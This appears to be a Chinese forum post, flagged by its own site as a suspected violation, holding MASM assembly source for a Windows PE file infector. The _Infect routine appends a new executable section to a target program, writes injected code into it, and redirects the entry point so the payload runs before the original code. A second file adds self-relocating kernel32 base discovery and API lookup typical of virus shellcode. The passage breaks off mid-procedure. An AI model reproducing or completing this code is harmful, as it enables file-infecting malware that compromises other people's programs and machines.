该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
invoke GlobalAlloc, GPTR , [esi].OptionalHeader.SizeOfHeaders ;开辟新的空间
mov @lpMemory, eax
invoke RtlMoveMemory, eax, _lpHead,[esi].OptionalHeader.SizeOfHeaders ;复制旧头到新头
movzx ecx, [esi].FileHeader.NumberOfSections
dec ecx
mov eax, sizeof IMAGE_SECTION_HEADER
mul ecx ;eax -> 最后一个节表头
mov edi, @lpMemory ;新DOS头
assume edi: ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew ;新PE头
assume edi: ptr IMAGE_NT_HEADERS
mov ebx, edi
add ebx, IMAGE_NT_HEADERS ;新的第一个节表头
mov edx, ebx
add edx, eax ;edx 最后一个节表头
mov ebx, edx
add ebx, sizeof IMAGE_SECTION_HEADER ;ebx 最后一个节表尾
assume edx: ptr IMAGE_SECTION_HEADER
assume ebx: ptr IMAGE_SECTION_HEADER
pushad
xor eax, eax
mov edi, ebx
mov ecx, sizeof IMAGE_SECTION_HEADER
repz scasb
popad
.if ZERO? ;有空间插入新的节表
inc [edi].FileHeader.NumberOfSections
mov eax, [edx].PointerToRawData
add eax, [edx].SizeOfRawData ;最后一个节表单位RAW
mov [ebx].PointerToRawData, eax
mov ecx, offset APPEND_CODE_END - offset APPEND_CODE ;插入代码的大小
invoke _Align, ecx, [esi].OptionalHeader.FileAlignment ;代码关于文件对齐
mov [ebx].SizeOfRawData, eax
invoke _Align, ecx, [esi].OptionalHeader.SectionAlignment ;代码关于节对齐
add [edi].OptionalHeader.SizeOfCode, eax ;增加原来代码的大小
add [edi].OptionalHeader.SizeOfImage, eax
invoke _Align, [edx].Misc.VirtualSize, [esi].OptionalHeader.SectionAlignment
add eax, [edx].VirtualAddress ;计算新节表的虚拟地址
mov [ebx].VirtualAddress, eax
mov [ebx].Misc.VirtualSize, offset APPEND_CODE_END - offset APPEND_CODE
;设置 Characteristics (可读,可写等)
mov [ebx].Characteristics, IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE \
or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
invoke lstrcpy, addr [ebx].Name1, offset szSectionName ;设置节表名
;*************************** 将代码写到文件的最后 **************************
invoke SetFilePointer, hFile, [ebx].PointerToRawData, NULL, FILE_BEGIN
invoke WriteFile, hFile, offset APPEND_CODE, [ebx].Misc.VirtualSize, \
addr @dwTemp, NULL
mov eax, [ebx].PointerToRawData
add eax, [ebx].SizeOfRawData
invoke SetFilePointer, hFile, eax, NULL, FILE_BEGIN
invoke SetEndOfFile, hFile
;***************************************************************************
;************************** 获取 RVA 和 RAW *********************************
push [ebx].VirtualAddress
pop @dwAddCodeBase
push [ebx].PointerToRawData
pop @dwAddCodeFile
;**************************************************************************
;************************ 修正旧的程序入口点 *******************************
push [esi].OptionalHeader.AddressOfEntryPoint
pop @dwOldEntry
mov eax, @dwAddCodeBase
add eax, offset _ToOldEntry - offset APPEND_CODE + 5
sub @dwOldEntry, eax
mov ecx, @dwAddCodeFile
add ecx, offset _dwOldEntry - offset APPEND_CODE
invoke SetFilePointer, hFile, ecx, NULL, FILE_BEGIN
invoke WriteFile, hFile, addr @dwOldEntry, 4, addr @dwTemp, 0
;***************************************************************************
;************************* 设置新的人口点 ***********************************
mov eax, @dwAddCodeBase
add eax, offset _NewEntry - offset APPEND_CODE
mov [edi].OptionalHeader.AddressOfEntryPoint, eax ;设置程序新的入口点
invoke SetFilePointer, hFile, 0,0, FILE_BEGIN
invoke WriteFile, hFile, @lpMemory, [esi].OptionalHeader.SizeOfHeaders, \
addr @dwTemp, 0
;****************************************************************************
;************************ 关闭工作 *****************************************
invoke GlobalFree, @lpMemory
;***************************************************************************
.endif
_Ret:
ret
_Infect endp
start:
invoke CreateFile, offset szSrcFileName, GENERIC_READ or GENERIC_WRITE,\
FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING ,NULL , NULL
mov hFile, eax
invoke CreateFileMapping, hFile, NULL, PAGE_READWRITE , 0, 0, NULL
invoke MapViewOfFile, eax, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0
.if !eax
jmp _Exit
.endif
mov lpMemory, eax
mov esi, eax
assume esi: ptr IMAGE_DOS_HEADER
add esi, [esi].e_lfanew
invoke _Infect, lpMemory, esi
invoke CloseHandle, hFile
_Exit:
invoke ExitProcess, 0
end start
;GetKernel1.asm 文件
_GetKernelBase proc _dwKernelRet
LOCAL _dwRet
pushad
;**********************代码重定位***************
call @F
@@:
pop ebx
sub ebx, offset @B
;************************************************
mov edi, _dwKernelRet
and edi, 0ffff0000h
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov eax, edi
add eax, [eax + 003ch]
.if word ptr [eax] == IMAGE_NT_SIGNATURE
mov _dwRet, edi
.break
.endif
.endif
sub edi, 010000h
.break .if edi
.endw
popad
mov eax, _dwRet
ret
_GetKernelBase endp
_GetAPIByName proc _dwKernelBase, _lpszAPI
LOCAL @dwRet, @dwAPILength